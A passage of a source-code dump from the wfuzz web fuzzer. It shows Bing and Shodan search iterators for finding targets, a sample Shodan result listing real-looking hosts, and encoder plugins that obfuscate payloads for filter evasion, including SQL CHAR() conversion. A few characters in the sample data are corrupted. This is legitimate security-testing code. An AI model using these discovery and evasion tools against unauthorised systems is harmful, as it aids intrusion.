    "content": "from wfuzz.exception import (\n    FuzzExceptMissingAPIKey,\n    FuzzExceptResourceParseError,\n    FuzzExceptPluginLoadError,\n)\nfrom wfuzz.facade import Facade\nfrom wfuzz.helpers.utils import MyCounter\n\n\n# Python 2 and 3: alternative 4\ntry:\n    from urllib.request import Request\n    from urllib.request import build_opener\nexcept ImportError:\n    from urllib2 import Request\n    from urllib2 import build_opener\n\nimport json\n\n# python 2 and 3: iterator\nfrom builtins import object\nfrom threading import Thread\nfrom queue import Queue\n\nIMPORTED_SHODAN = True\ntry:\n    import shodan\nexcept ImportError:\n    IMPORTED_SHODAN = False\n\nm = {\n    \"matches\": [\n        {\n            \"_shodan\": {\n                \"id\": \"54e0ae62-9e22-404b-91b4-92f99e89c987\",\n                \"options\": {},\n                \"ptr\": True,\n                \"module\": \"auto\",\n                \"crawler\": \"62861a86c4e4b71dceed5113ce9593b98431f89a\",\n            },\n            \"hash\": -1355923443,\n            \"os\": None,\n            \"ip\": 1240853908,\n            \"isp\": \"Comcast Cable\",\n            \"http\": {\n                \"html_hash\": -2142469325,\n                \"robots_hash\": None,\n                \"redirects\": [],\n                \"securitytxt\": None,\n                \"title\": \"400 Bad Request\",\n                \"sitemap_hash\": None,\n                \"robots\": None,\n                \"favicon\": None,\n                \"host\": \"73.245.237.148\",\n                \"html\": '<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\\n<html><head>\\n<title>400 Bad Request</title>\\n</head><body>\\n<h1>Bad Request</h1>\\n<p>Your browser sent a request that this server could not understand.<br />\\nReason: You\\'re speaking plain HTTP to an SSL-enabled server port.<br />\\n Instead use the HTTPS scheme to access this URL, please.<br />\\n</p>\\n<p>Additionally, a 404 Not Found\\nerror was encountered while trying to use an ErrorDocument to handle the request.</p>\\n</body></html>\\n',\n                \"location\": \"/\",\n                \"components\": {},\n                \"server\": \"Apache\",\n                \"sitemap\": None,\n                \"securitytxt_hash\": None,\n            },\n            \"port\": 9445,\n            \"hostnames\": [\"c-73-245-237-148.hsd1.fl.comcast.net\"],\n            \"location\": {\n                \"city\": \"Fort Lauderdale\",\n                \"region_code\": \"FL\",\n                \"area_code\": 954,\n                \"longitude\": -80.3704,\n                \"country_code3\": \"USA\",\n                \"country_name\": \"United States\",\n                \"postal_code\": \"33331\",\n                \"dma_code\": 528,\n                \"country_code\": \"US\",\n                \"latitude\": 26.065200000000004,\n            },\n            \"timestamp\": \"2019-04-10T10:30:48.297701\",\n            \"domains\": [\"comcast.net\"],\n            \"org\": \"Comcast Cable\",\n            \"data\": \"HTTP/1.1 400 Bad Request\\r\\nDate: Wed, 10 Apr 2019 10:19:07 GMT\\r\\nServer: Apache\\r\\nContent-Length: 481\\r\\nConnection: close\\r\\nContent-Type: text/html; charset=iso-8859-1\\r\\n\\r\\n\",\n            \"asn\": \"AS7922\",\n            \"transport\": \"tcp\",\n            \"ip_str\": \"73.245.237.148\",\n        },\n        {\n            \"_shodan\": {\n                \"id\": \"4ace6fd1-8295-4aea-a086-2280598ca9e7\",\n                \"options\": {},\n                \"ptr\": True,\n                \"module\": \"auto\",\n                \"crawler\": \"62861a86c4e4b71dceed5113ce9593b98431f89a\",\n            },\n            \"product\": \"Apache httpd\",\n            \"hash\": 370611044,\n            \"os\": None,\n            \"ip\": 35226500,\n            \"isp\": \"EE High Speed Internet\",\n            \"http\": {\n                \"html_$ ash\": -163723763,\n                \"robots_hash\": None,\n                \"redirects\": [],\n                \"securitytxt\": None,\n                \"title\": \"401 Authorization Required\",\n                \"sitemap_hash\": None,\n                \"robots\": None,\n                \"favicon\": None,\n                \"host\": \"2.25.131.132\",\n                \"html\": \"<HEAD><TITLE>401 Authorization Required</TITLE></HEAD>\\n<BODY><H1>401 Authoriza$ ion Required</H1>\\nBrowser not authentication-capable or authentication failed.\\n</BODY>\\n\",\n                \"location\": \"/\",\n                \"components\": {},\n                \"server\": \"Apache\",\n                \"sitemap\": None,\n                \"securitytxt_hash\": None,\n            },\n            \"cpe\": [\"cpe:/a:apache:http_server\"],\n            \"port\": 8085,\n            \"hostnames\": [],\n            \"location\": {\n                \"city\": \"$ helmsford\",\n                \"region_code\": \"E4\",\n                \"area_code\": None,\n                \"longitude\": 0.48330000000001405,\n                \"country_code3\": \"GBR\",\n                \"country_name\": \"United Kingdom\",\n                \"postal_code\": \"CM2\",\n                \"dma_code\": None,\n                \"country_code\": \"GB\",\n                \"latitude\": 51.733300000000014,\n            },\n            \"timestamp\": \"2019-04-10T11:03:59.955967\",\n            \"$ omains\": [],\n            \"org\": \"EE High Speed Internet\",\n            \"data\": 'HTTP/1.1 401 Unauthorized\\r\\nServer: Apache\\r\\nConnection: Close\\r\\nContent-type: text/html\\r\\nWWW-Authenticate: Digest realm=\"DSLForum CPE Management\", algorithm=MD5, qop=auth, stale=FALSE, nonce=\"3d7a3f71e72e095dba31fd77d4db74$5\", opaque=\"5ccc069c403ebaf9f0171e9517f40e41\"\\r\\n\\r\\n',\n            \"asn\": \"AS12576\",\n            \"transport\": \"tcp\",\n            \"ip_str\": \"2.25.131.132\",\n        },\n    ]\n}\n\n\nclass BingIter(object):\n    def __init__(self, dork, offset=0, limit=0, key=None):\n        if key is None:\n            key = Facade().sett.get(\"plugins\", \"bing_apikey\")\n\n        if not key:\n            raise FuzzExceptMissingAPIKey(\n                \"An api Bing key is needed. Please chek wfuzz.ini.\"\n            )\n\n        self._key = key\n        self._dork = dork\n\n        self.max_count = 0\n        self.current = 0\n        self._index = 0\n        self._retrieved = 0\n        self._results = []\n\n        # first bing request to get estimated total count (it does not take into consideration offset).\n        if limit > 0 and limit < 50:\n            total_results, self._retrieved, self._results = self._do_search(\n                offset, limit\n            )\n        else:\n            total_results, self._retrieved, self._results = self._do_search(offset)\n\n        # offset not over the results\n        if offset > total_results:\n            self._offset = total_results\n        else:\n            self._offset = offset\n\n        self.max_count = total_results - self._offset\n\n        # no more than limit results\n        if self.max_count > limit and limit > 0:\n            self.max_count = limit\n\n    def _do_search(self, offset=0, limit=50):\n        # some code taken from http://www.securitybydefault.com/2014/07/search2auditpy-deja-que-bing-haga-el.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+SecurityByDefault+%28Security+By+Default%29\n        # api doc http://go.microsoft.com/fwlink/?LinkID=248077\n        user_agent = \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)\"\n        creds = (\":%s\" % self._key).encode(\"base64\")[:-1]\n        auth = \"Basic %s\" % creds\n\n        result = None\n\n        try:\n            urlstr = (\n                \"https://api.datamarket.azure.com/Data.ashx/Bing/Search/Composite?Sources=%27web%27&Query=%27\"\n                + self._dork\n                + \"%27&$format=json\"\n            )\n            if limit != 50:\n                urlstr += \"&$top=%d\" % limit\n            if offset != 0:\n                urlstr += \"&$skip=%d\" % offset\n\n            request = Request(urlstr)\n\n            request.add_header(\"Authorization\", auth)\n            request.add_header(\"User-Agent\", user_agent)\n            requestor = build_opener()\n            result = requestor.open(request)\n        except Exception as e:\n            raise FuzzExceptResourceParseError(\n                \"Error when retrieving Bing API results: %s.\" % str(e)\n            )\n\n        results = json.loads(result.read())\n\n        # WebTotal is not reliable, it is usually much bigger than the actual results, therefore\n        # if your offset increases over the real number of results, you get a dict\n        # without values and counters to ''. It gets updated when you are close to that limit though.\n        if results[\"d\"][\"results\"][0][\"WebTotal\"]:\n            res_total = int(results[\"d\"][\"results\"][0][\"WebTotal\"])\n            res_list = results[\"d\"][\"results\"][0][\"Web\"]\n\n            return res_total, len(res_list), res_list\n        else:\n            return 0, 0, 0\n\n    def __iter__(self):\n        return self\n\n    def __next__(self):\n        if self.current >= self.max_count:\n            raise StopIteration\n\n        # Result buffer already consumed\n        if self._index >= self._retrieved:\n            realcount, self._retrieved, self._results = self._do_search(\n                self.current + self._offset\n            )\n\n            self._index = 0\n\n            # update real count\n            if self.max_count > realcount:\n                self.max_count = realcount\n\n        elem = self._results[self._index][\"Url\"].strip()\n\n        self.current += 1\n        self._index += 1\n\n        # pycurl does not like unicode\n        if isinstance(elem, str):\n            return elem.encode(\"utf-8\")\n        else:\n            return elem\n\n\nclass ShodanIter:\n    SHODAN_RES_PER_PAGE = 100\n    MAX_ENQUEUED_RES = SHODAN_RES_PER_PAGE + 1\n    NUM_OF_WORKERS = 1\n    SLOW_START = True\n\n    def __init__(self, dork, page, limit):\n        if IMPORTED_SHODAN is False:\n            raise FuzzExceptPluginLoadError(\n                \"shodan module not imported. Please, install shodan using pip\"\n            )\n\n        key = Facade().sett.get(\"plugins\", \"shodan_apikey\")\n        if not key:\n            raise FuzzExceptMissingAPIKey(\n                \"A Shodan api key is needed. Please check ~/.wfuzz/wfuzz.ini\"\n            )\n\n        self.api = shodan.Shodan(key)\n        self._dork = dork\n        self._page = MyCounter(page)\n        self._page_limit = self._page() + limit if limit > 0 else -1\n\n        self.results_queue = Queue(self.MAX_ENQUEUED_RES)\n        self.page_queue = Queue()\n\n        self._threads = []\n\n        self._started = False\n        self._cancel_job = False\n\n    def _do_search(self):\n        while 1:\n            page = self.page_queue.get()\n            if page is None:\n                self.page_queue.task_done()\n                break\n\n            if self._cancel_job:\n                self.page_queue.task_done()\n                continue\n\n            if self._page_limit > 0 and page >= self._page_limit:\n                self.page_queue.task_done()\n                self.results_queue.put(None)\n                continue\n\n            try:\n                results = self.api.search(self._dork, page=page)\n                for item in results[\"matches\"]:\n                    if not self._cancel_job:\n                        self.results_queue.put(item)\n\n                self.page_queue.task_done()\n                if not self._cancel_job:\n                    self.page_queue.put(self._page.inc())\n            except shodan.APIError as e:\n                self.page_queue.task_done()\n                if \"Invalid page size\" in str(e):\n                    self.results_queue.put(None)\n                elif \"Insufficient query credits\" in str(e):\n                    self.results_queue.put(None)\n                else:\n                    self.results_queue.put(e)\n                continue\n\n    def __iter__(self):\n        return self\n\n    def _start(self):\n        for th_n in range(self.NUM_OF_WORKERS):\n            worker = Thread(target=self._do_search)\n            worker.setName(\"_do_search_{}\".format(str(th_n)))\n            self._threads.append(worker)\n            worker.start()\n\n        self.page_queue.put(self._page())\n        if not self.SLOW_START:\n            for _ in range(self.NUM_OF_WORKERS - 1):\n                self.page_queue.put(self._page.inc())\n\n    def _stop(self):\n        self._cancel_job = True\n\n        for th in self._threads:\n            self.page_queue.put(None)\n\n        self.page_queue.join()\n\n        for th in self._threads:\n            th.join()\n\n        self._threads = []\n\n        self.results_queue.put(None)\n\n    def __next__(self):\n        if not self._started:\n            self._start()\n            self._started = True\n\n        res = self.results_queue.get()\n        self.results_queue.task_done()\n\n        if res is None:\n            self._stop()\n            self._cancel_job = False\n            self._started = False\n            raise StopIteration\n        elif isinstance(res, Exception):\n            self._stop()\n            raise res\n\n        return res\n"
  },
  {
    "path": "src/wfuzz/plugin_api/urlutils.py",
    "content": "import os\n\n\n# Python 2 and 3\nimport sys\n\nif sys.version_info >= (3, 0):\n    from urllib.parse import ParseResult\n    from urllib.parse import urlparse\n    from urllib.parse import parse_qs\nelse:\n    from urlparse import ParseResult\n    from urlparse import urlparse\n    from urlparse import parse_qs\n\nfrom wfuzz.facade import Facade\nfrom wfuzz.exception import FuzzExceptBadAPI\n\n\nclass FuzzRequestParse(ParseResult):\n    @property\n    def ffname(self):\n        \"\"\"\n        Returns script plus extension from an URL. ie. http://www.localhost.com/kk/index.html?id=3\n        will return index.html\n        \"\"\"\n        u = self.path.split(\"/\")[-1:][0]\n\n        return u\n\n    @property\n    def fext(self):\n        \"\"\"\n        Returns script extension from an URL. ie. http://www.localhost.com/kk/index.html?id=3\n        will return .html\n        \"\"\"\n        return os.path.splitext(self.ffname)[1]\n\n    @property\n    def fname(self):\n        \"\"\"\n        Returns script name from an URL. ie. http://www.localhost.com/kk/index.html?id=3\n        will return index\n        \"\"\"\n        return os.path.splitext(self.ffname)[0]\n\n    @property\n    def isbllist(self):\n        fext = self.fext\n        return fext != \".\" and fext in Facade().sett.get(\n            \"kbase\", \"discovery.blacklist\"\n        ).split(\"-\")\n\n    @property\n    def hasquery(self):\n        return self.query != \"\"\n\n    def cache_key(self, base_urlp=None):\n        scheme = self.scheme\n        netloc = self.netloc\n\n        if base_urlp:\n            scheme = self.scheme if self.scheme else base_urlp.scheme\n            netloc = self.netloc if self.netloc else base_urlp.netloc\n\n        key = \"{}-{}-{}-{}\".format(scheme, netloc, self.path, self.params)\n        dicc = {\"g{}\".format(key): True for key in parse_qs(self.query).keys()}\n\n        # take URL parameters into consideration\n        url_params = list(dicc.keys())\n        url_params.sort()\n        key += \"-\" + \"-\".join(url_params)\n\n        return key\n\n\ndef parse_url(url):\n    # >>> urlparse.urlparse(\"http://some.page.pl/nothing.py;someparam=some;otherparam=other?query1=val1&query2=val2#frag\")\n    # ParseResult(scheme='http', netloc='some.page.pl', path='/nothing.py', params='someparam=some;otherparam=other', query='query1=val1&query2=val2', fragment='frag')\n\n    scheme, netloc, path, params, query, fragment = urlparse(url)\n    return FuzzRequestParse(scheme, netloc, path, params, query, fragment)\n\n\ndef check_content_type(fuzzresult, which):\n    ctype = None\n    if \"Content-Type\" in fuzzresult.history.headers.response:\n        ctype = fuzzresult.history.headers.response[\"Content-Type\"]\n\n    if which == \"text\":\n        return not ctype or (\n            ctype and any([ctype.find(x) >= 0 for x in [\"text/plain\"]])\n        )\n    else:\n        raise FuzzExceptBadAPI(\"Unknown content type\")\n"
  },
  {
    "path": "src/wfuzz/plugins/__init__.py",
    "content": ""
  },
  {
    "path": "src/wfuzz/plugins/encoders/__init__.py",
    "content": ""
  },
  {
    "path": "src/wfuzz/plugins/encoders/encoders.py",
    "content": "from wfuzz.externals.moduleman.plugin import moduleman_plugin\n\n# Python 2 and 3\ntry:\n    from urllib.parse import quote\n    from urllib.parse import unquote\nexcept ImportError:\n    from urllib import quote\n    from urllib import unquote\n\n# Python 2 and 3\ntry:\n    from base64 import decodebytes as b64decode\n    from base64 import standard_b64encode\nexcept ImportError:\n    from base64 import decodestring as b64decode\n    from base64 import standard_b64encode\n\nimport re\nimport binascii\nimport random\nimport hashlib\nimport html\n\n\n@moduleman_plugin(\"encode\")\nclass none:\n    name = \"none\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    summary = \"Returns string without changes\"\n    category = [\"default\"]\n    priority = 99\n\n    def encode(self, string):\n        return string\n\n    def decode(self, string):\n        return string\n\n\n@moduleman_plugin(\"encode\")\nclass urlencode:\n    name = \"urlencode\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    summary = \"Replace special characters in string using the %xx escape. Letters, digits, and the characters '_.-' are never quoted.\"\n    category = [\"url_safe\", \"url\"]\n    priority = 99\n\n    def encode(self, string):\n        return quote(string)\n\n    def decode(self, string):\n        return unquote(string)\n\n\n@moduleman_plugin(\"encode\")\nclass double_urlencode:\n    name = \"double_urlencode\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    summary = \"Applies a double encode to special characters in string using the %25xx escape. Letters, digits, and the characters '_.-' are never quoted.\"\n    category = [\"url_safe\", \"url\"]\n    priority = 99\n\n    def encode(self, string):\n        return quote(quote(string))\n\n    def decode(self, string):\n        return unquote(unquote(string))\n\n\n@moduleman_plugin(\"encode\")\nclass base64:\n    name = \"base64\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    summary = \"Encodes the given string using base64\"\n    category = [\"hashes\"]\n    priority = 99\n\n    def encode(self, string):\n        return standard_b64encode(string.encode(\"utf-8\")).decode(\"utf-8\")\n\n    def decode(self, string):\n        return b64decode(string.encode(\"utf-8\")).decode(\"utf-8\")\n\n\n@moduleman_plugin(\"encode\")\nclass uri_triple_hex:\n    name = \"uri_triple_hex\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    summary = \"Encodes ALL charachers using the %25%xx%xx escape.\"\n    category = [\"url\"]\n    priority = 99\n\n    def encode(self, string):\n        strt = \"\"\n        s = re.compile(r\"/|;|=|:|&|@|\\\\|\\?\")\n        for c in string:\n            if s.search(c):\n                strt += c\n                continue\n            temp = hex(ord(c))[2:]\n            strt += \"%%25%%%02x%%%02x\" % (ord(temp[:1]), ord(temp[1:]))\n        return strt\n\n\n@moduleman_plugin(\"encode\")\nclass uri_double_hex:\n    name = \"uri_double_hex\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    summary = \"Encodes ALL charachers using the %25xx escape.\"\n    category = [\"url\"]\n    priority = 99\n\n    def encode(self, string):\n        strt = \"\"\n        con = \"%%25%02x\"\n        s = re.compile(r\"/|;|=|:|&|@|\\\\|\\?\")\n        for c in string:\n            if s.search(c):\n                strt += c\n                continue\n            strt += con % ord(c)\n        return strt\n\n\n@moduleman_plugin(\"encode\")\nclass uri_hex:\n    name = \"uri_hex\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    summary = \"Encodes ALL charachers using the %xx escape.\"\n    category = [\"url\"]\n    priority = 99\n\n    def encode(self, string):\n        strt = \"\"\n        con = \"%%%02x\"\n        s = re.compile(r\"/|;|=|:|&|@|\\\\|\\?\")\n        for c in string:\n            if s.search(c):\n                strt += c\n                continue\n            strt += con % ord(c)\n        return strt\n\n\n@moduleman_plugin(\"encode\")\nclass random_upper:\n    name = \"random_upper\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    summary = \"Replaces random characters in string with its capitals letters\"\n    category = [\"default\"]\n    priority = 99\n\n    def encode(self, string):\n        strt = \"\"\n        for c in string:\n            x = int(random.uniform(0, 10))\n            x = x % 2\n            if x == 1:\n                strt += c.upper()\n            else:\n                strt += c\n        return strt\n\n\n@moduleman_plugin(\"encode\")\nclass second_nibble_hex:\n    name = \"second_nibble_hex\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    summary = \"Replaces ALL characters in string using the %?%dd escape\"\n    category = [\"url\"]\n    priority = 99\n\n    def encode(self, string):\n        strt = \"\"\n        s = re.compile(r\"/|;|=|:|&|@|\\\\|\\?\")\n        for c in string:\n            if s.search(c):\n                strt += c\n                continue\n            temp = hex(ord(c))[2:]\n            strt += \"%%%s%%%02x\" % (str(temp[:1]), ord(temp[1:]))\n        return strt\n\n\n@moduleman_plugin(\"encode\")\nclass first_nibble_hex:\n    name = \"first_nibble_hex\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    summary = \"Replaces ALL characters in string using the %%dd? escape\"\n    category = [\"url\"]\n    priority = 99\n\n    def encode(self, string):\n        strt = \"\"\n        s = re.compile(r\"/|;|=|:|&|@|\\\\|\\?\")\n        for c in string:\n            if s.search(c):\n                strt += c\n                continue\n            temp = hex(ord(c))[2:]\n            strt += \"%%%%%02x%s\" % (ord(temp[:1]), str(temp[1:]))\n        return strt\n\n\n@moduleman_plugin(\"encode\")\nclass doble_nibble_hex:\n    name = \"doble_nibble_hex\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    summary = \"Replaces ALL characters in string using the %%dd%dd escape\"\n    category = [\"url\"]\n    priority = 99\n\n    def encode(self, string):\n        strt = \"\"\n        fin = \"\"\n        con = \"%%%02x\"\n        s = re.compile(r\"/|;|=|:|&|@|\\\\|\\?\")\n        enc = uri_hex()\n        strt = enc.encode(string)\n        for c in strt:\n            if not c == \"%\":\n                if s.search(c):\n                    fin += c\n                    continue\n                fin += con % ord(c)\n            else:\n                fin += c\n        return fin\n\n\n@moduleman_plugin(\"encode\")\nclass sha1:\n    name = \"sha1\"\n    summary = \"Applies a sha1 hash to the given string\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    category = [\"hashes\"]\n    priority = 99\n\n    def encode(self, string):\n        s = hashlib.sha1()\n        s.update(string.encode(\"utf-8\"))\n        res = s.hexdigest()\n        return res\n\n\n@moduleman_plugin(\"encode\")\nclass sha256:\n    name = \"sha256\"\n    summary = \"Applies a sha256 hash to the given string\"\n    author = (\"Dustin Evans (@dustinaevans)\",)\n    version = \"0.1\"\n    category = [\"hashes\"]\n    priority = 99\n\n    def encode(self, string):\n        s = hashlib.sha256()\n        s.update(string.encode(\"utf-8\"))\n        res = s.hexdigest()\n        return res\n\n\n@moduleman_plugin(\"encode\")\nclass sha512:\n    name = \"sha512\"\n    summary = \"Applies a sha512 hash to the given string\"\n    author = (\"Dustin Evans (@dustinaevans)\",)\n    version = \"0.1\"\n    category = [\"hashes\"]\n    priority = 99\n\n    def encode(self, string):\n        s = hashlib.sha512()\n        s.update(string.encode(\"utf-8\"))\n        res = s.hexdigest()\n        return res\n\n\n@moduleman_plugin(\"encode\")\nclass md5:\n    name = \"md5\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    summary = \"Applies a md5 hash to the given string\"\n    category = [\"hashes\"]\n    priority = 99\n\n    def encode(self, string):\n        m = hashlib.new(\"md5\")\n        m.update(string.encode(\"utf-8\"))\n        res = m.hexdigest()\n        return res\n\n\n@moduleman_plugin(\"encode\")\nclass hexlify:\n    name = \"hexlify\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    summary = \"Every byte of data is converted into the corresponding 2-digit hex representation.\"\n    category = [\"default\"]\n    priority = 99\n\n    def encode(self, string):\n        return binascii.hexlify(string.encode(\"utf-8\")).decode(\"utf-8\")\n\n    def decode(self, string):\n        return binascii.unhexlify(string.encode(\"utf-8\")).decode(\"utf-8\")\n\n\n@moduleman_plugin(\"encode\")\nclass html_escape:\n    name = \"html_escape\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    summary = 'Convert the characters &<>\" in string to HTML-safe sequences.'\n    category = [\"html\"]\n    priority = 99\n\n    def encode(self, string):\n        return html.escape(string, quote=True)\n\n\n@moduleman_plugin(\"encode\")\nclass html_decimal:\n    name = \"html_decimal\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    summary = \"Replaces ALL characters in string using the &#dd; escape\"\n    category = [\"html\"]\n    priority = 99\n\n    def encode(self, string):\n        new = \"\"\n        for x in string:\n            new += \"&#\" + str(ord(x)) + \";\"\n        return new\n\n\n@moduleman_plugin(\"encode\")\nclass html_hexadecimal:\n    name = \"html_hexadecimal\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    summary = \"Replaces ALL characters in string using the &#xx; escape\"\n    category = [\"html\"]\n    priority = 99\n\n    def encode(self, string):\n        new = \"\"\n        for x in string:\n            val = \"%02x\" % ord(x)\n            new += \"&#x\" + str(val) + \";\"\n        return new\n\n\n@moduleman_plugin(\"encode\")\nclass utf8_binary:\n    name = \"utf8_binary\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    summary = \"Replaces ALL characters in string using the \\\\uxx escape\"\n    category = [\"url\"]\n    priority = 99\n\n    def encode(self, string):\n        new = \"\"\n        for x in string:\n            val = \"%02x\" % ord(x)\n            new += \"\\\\x\" + str(val)\n        return new\n\n\n@moduleman_plugin(\"encode\")\nclass utf8:\n    name = \"utf8\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    summary = \"Replaces ALL characters in string using the \\\\u00xx escape\"\n    category = [\"url\"]\n    priority = 99\n\n    def encode(self, string):\n        new = \"\"\n        for x in string:\n            val = \"%02x\" % ord(x)\n            if len(val) == 2:\n                new += \"\\\\u00\" + str(val)\n            else:\n                new += \"\\\\u\" + str(val)\n        return new\n\n\n@moduleman_plugin(\"encode\")\nclass uri_unicode:\n    name = \"uri_unicode\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    summary = \"Replaces ALL characters in string using the %u00xx escape\"\n    category = [\"url\"]\n    priority = 99\n\n    def encode(self, string):\n        new = \"\"\n        for x in string:\n            val = \"%02x\" % ord(x)\n            if len(val) == 2:\n                new += \"%u00\" + str(val)\n            else:\n                new += \"%u\" + str(val)\n        return new\n\n\n@moduleman_plugin(\"encode\")\nclass mysql_char:\n    name = \"mysql_char\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    summary = \"Converts ALL characters to MySQL's char(xx)\"\n    category = [\"db\"]\n    priority = 99\n\n    def encode(self, string):\n        new = \"CHAR(\"\n        for x in string:\n            val = str(ord(x))\n            new += str(val) + \",\"\n        new = new.strip(\",\")\n        new += \")\"\n        return new\n\n    def decode(self, string):\n        temp = string.strip(\"CHAR\").strip(\"(\").strip(\")\").split(\",\")\n        new = \"\"\n        for x in temp:\n            new += chr(int(x))\n        return new\n\n\n@moduleman_plugin(\"encode\")\nclass mssql_char:\n    name = \"mssql_char\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    summary = \"Converts ALL characters to MsSQL's char(xx)\"\n    category = [\"db\"]\n    priority = 99\n\n    def encode(self, string):\n        new = \"\"\n        for x in string:\n            val = str(ord(x))\n            new += \"CHAR(\" + str(val) + \")+\"\n        new = new.strip(\"+\")\n        return new\n\n    def decode(self, string):\n        new = \"\"\n        temp = string.split(\"+\")\n        for x in temp:\n            x = x.strip(\"CHAR\").strip(\")\").strip(\"(\")\n            new += chr(int(x))\n        return new\n\n\n@moduleman_plugin(\"encode\")\nclass oracle_char:\n    name = \"oracle_char\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    summary = \"Converts ALL characters to Oracle's chr(xx)\"\n    category = [\"db\"]\n    priority = 99\n\n    def encode(self, string):\n        new = \"\"\n        for x in string:\n            val = str(ord(x))\n            new += \"chr(\" + val + \")||\"\n        new = new.strip(\"||\")\n        return new\n\n    def decode(self, string):\n        new = \"\"\n        temp = string.split(\"||\")\n        for x in temp:\n            x = x.strip(\"chr\").strip(\")\").strip(\"(\")\n            new += chr(int(x))\n        return new\n"
  },
  {
    "path": "src/wfuzz/plugins/iterators/__init__.py",
    "content": ""
  },
  {
    "path": "src/wfuzz/plugins/iterators/iterations.py",
    "content": "from wfuzz.externals.moduleman.plugin import moduleman_plugin\nfrom wfuzz.dictionaries import BaseIterator\n\nimport itertools\nfrom functools import reduce\n\nfrom builtins import zip as builtinzip\n\n\n@moduleman_plugin\nclass zip(BaseIterator):\n    name = \"zip\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    summary = \"Returns an iterator that aggregates elements from each of the iterables.\"\n    category = [\"default\"]\n    priority = 99\n\n    def __init__(self, *i):\n        self._payload_list = i\n        self.__width = len(i)\n        self.__count = min([x.count() for x in i])\n        self.it = builtinzip(*i)\n\n    def count(self):\n        return self.__count\n\n    def width(self):\n        return self.__width\n\n    def payloads(self):\n        return self._payload_list\n\n    def __next__(self):\n        return next(self.it)\n\n    def __iter__(self):\n        return self\n\n\n@moduleman_plugin\nclass product(BaseIterator):\n    name = \"product\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    summary = \"Returns an iterator cartesian product of input iterables.\"\n    category = [\"default\"]\n    priority = 99\n\n    def __init__(self, *i):\n        self._payload_list = i\n        self.__width = len(i)\n        self.__count = reduce(lambda x, y: x * y.count(), i[1:], i[0].count())\n        self.it = itertools.product(*i)\n\n    def count(self):\n        return self.__count\n\n    def width(self):\n        return self.__width\n\n    def payloads(self):\n        return self._payload_list\n\n    def __next__(self):\n        return next(self.it)\n\n    def __iter__(self):\n        return self\n\n\n@moduleman_plugin\nclass chain(BaseIterator):\n    name = \"chain\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    summary = \"Returns an iterator returns elements from the first iterable until it is exhausted, then proceeds to the next iterable, until all of the iterables are exhausted.\"\n    category = 